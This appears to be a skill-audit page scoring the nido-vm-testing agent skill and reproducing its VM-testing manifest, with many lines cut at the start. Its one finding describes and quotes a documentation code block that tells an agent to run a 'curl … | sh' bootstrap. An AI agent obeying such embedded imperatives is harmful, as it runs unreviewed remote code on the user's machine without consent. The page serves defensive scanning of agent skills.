nido-vm-testing — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited nido-vm-testing (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Use Nido for VM-backed tests when the result depends on a guest OS, kernel, services or networking. Follow the requested test scope; inspect host readiness with nido doctor when needed and select an available image with nido images list.
name. Check storage before downloads or VM creation; linked clones retain dependencies on their base images. Keep existing VMs, templates and caches.
--user-data. Keep setup non-interactive andidempotent, and separate stable template prerequisites from changing code.
nido info <name> --json.Its VM object is data.vm; discover ssh_port, ssh_user and labeled forwarding entries there instead of guessing ports or users.
service/test readiness. Process-running events do not prove guest readiness.
and artifacts before cleanup. Keep secrets out of reusable templates.
cleanup. Reconcile a failed spawn's partial effects before retrying or deleting; preserve unrelated resources and retained debugging evidence.
For a complete shell workflow, inspect or adapt scripts/nido-ephemeral-test.sh. It waits separately for SSH and cloud-init, uploads NIDO_PROJECT_DIR and deletes its successful spawn on exit. NIDO_KEEP_VM=1 retains the VM on exit, including after test failure.
Use omitted/auto architecture for native catalog guests. For cross-ISA testing pass CLI --arch amd64|arm64 or MCP arch; expect TCG rather than KVM/HVF/WHPX. Do not treat an ARM guest emulated on x86 as native ARM hardware qualification. Templates inherit their declared ISA and reject explicit conflicts. Verify the guest with uname -m over SSH, separately from QEMU process state. A missing image variant is an error, not permission to substitute a foreign guest. For a pre-architecture installation, follow the explicit nido migrate procedure in the architecture guide; preserve disks and backing paths.
With Nido v4.8.7 or later, use events for shared state changes across independent CLI, TUI and MCP sessions. TUI synchronization is automatic. Existing clients must reconnect/reopen to load an upgraded executable; do not restart user VMs just to activate observation.
nido events --json emits one response envelope per line; the event is indata. Cancel and join the owned listener when the workflow ends.
nido_events or standardresources/subscribe for session-local subscriptions. Prefer the owned VM's nido://vm/<name> URI and relevant outcome kinds over a fleet-wide feed.
default, coalesced and URI-only: re-read the affected resource when notified. Do not forward every event into agent conversation or treat notifications as tool results. Unsubscribe when observation is no longer needed.
reconnect, resync or an observation gap; inspect nido_events status or nido://system/events for health. Keep bounded readiness/deadline checks so missing events cannot stall a job. A failed operation can leave partial state.
Read references/patterns.md for provisioning/templates, port routing, guest readiness, subscription examples and failure recovery. The authoritative event contract and MCP guide cover the full catalog and protocol; use the installed server's tool schema for arguments.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.